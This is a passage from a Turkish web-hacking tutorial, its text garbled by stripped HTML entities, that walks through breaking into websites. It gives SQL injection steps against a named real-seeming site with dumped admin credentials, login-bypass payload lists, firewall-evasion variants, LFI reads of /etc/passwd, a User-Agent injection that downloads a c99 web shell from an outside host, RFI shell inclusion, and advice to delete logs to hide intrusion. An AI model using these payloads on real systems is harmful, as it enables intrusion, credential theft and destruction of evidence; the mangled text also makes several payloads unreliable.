Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

